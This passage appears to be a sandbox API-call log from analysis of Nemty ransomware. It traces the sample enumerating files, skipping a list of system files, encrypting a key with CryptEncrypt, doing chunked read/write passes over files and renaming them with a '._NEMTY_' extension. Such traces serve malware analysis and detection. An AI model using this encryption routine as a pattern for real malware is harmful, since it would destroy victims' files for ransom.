lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.382] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0088.404] CloseHandle (hObject=0xffffffff) returned 0 [0088.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0088.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0088.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0088.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0088.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0088.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0088.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0088.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0088.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0088.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0088.404] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png._nemty_kgobjgd_")) returned 0 [0088.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0088.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0088.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0088.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0088.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0088.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0088.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0088.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0088.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.405] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2=".") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="..") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="...") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="windows") returned -1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="$RECYCLE.BIN") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="rsa") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="NTDETECT.COM") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="ntldr") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="MSDOS.SYS") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="IO.SYS") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="boot.ini") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="boot.ini") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="AUTOEXEC.BAT") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="ntuser.dat") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="desktop.ini") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="CONFIG.SYS") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="RECYCLER") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="BOOTSECT.BAK") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="bootmgr") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="programdata") returned 1 [0088.405] lstrcmpiW (lpString1="whitemask1047.png", lpString2="appdata") returned 1 [0088.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemask1047.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0088.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemask1047.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitemask1047.png", lpUsedDefaultChar=0x0) returned 17 [0088.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0088.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemask1047.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0088.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemask1047.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitemask1047.png", lpUsedDefaultChar=0x0) returned 17 [0088.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0088.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemask1047.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0088.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemask1047.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitemask1047.png", lpUsedDefaultChar=0x0) returned 17 [0088.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemask1047.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0088.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemask1047.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitemask1047.png", lpUsedDefaultChar=0x0) returned 17 [0088.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0088.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0088.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0088.406] Sleep (dwMilliseconds=0x5) [0088.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8593630, dwHighDateTime=0x1d561e7)) [0088.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8593630, dwHighDateTime=0x1d561e7)) [0088.419] GetLastError () returned 0x5 [0088.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0088.419] GetLastError () returned 0x5 [0088.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0088.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0088.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0088.419] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0088.419] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0088.419] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0088.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0088.419] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="TeXT7FOK86ayTrE8l6Taq+YqfYnTtkpVLLhHq/nHW0S+GsivBKUfSv4x5/vCv7qU\r\ngSbG0wQDkiBGOCMqIW6tITKADnG8jLGFUwuw+GZWL5fwR364NWB7dr7da2nF2XjA\r\nKDyPmGYzct02cp60R4D3cXeQxxYoYe8zqUlTbw0SeK/Fi9/s26dwRGvejKgmn/9r\r\n9IzsgfSICwc6RByIf+uSLyuC768bBSdVP351vPVKAab5YlNRvxwc3Sh4CkoLc3vK\r\nkUnfci0ePClNWVYbOJfZeyrJSLIpzjBy/YjdB3BAbUIdsFCshAWY4ZvwBSquIG89\r\nnBaRWN+yJLDLdfwxg/qmZQ==\r\n", pcchString=0x653e91c) returned 1 [0088.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0088.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0088.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0088.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0088.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0088.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0088.419] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.419] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0088.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0088.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.420] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.466] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 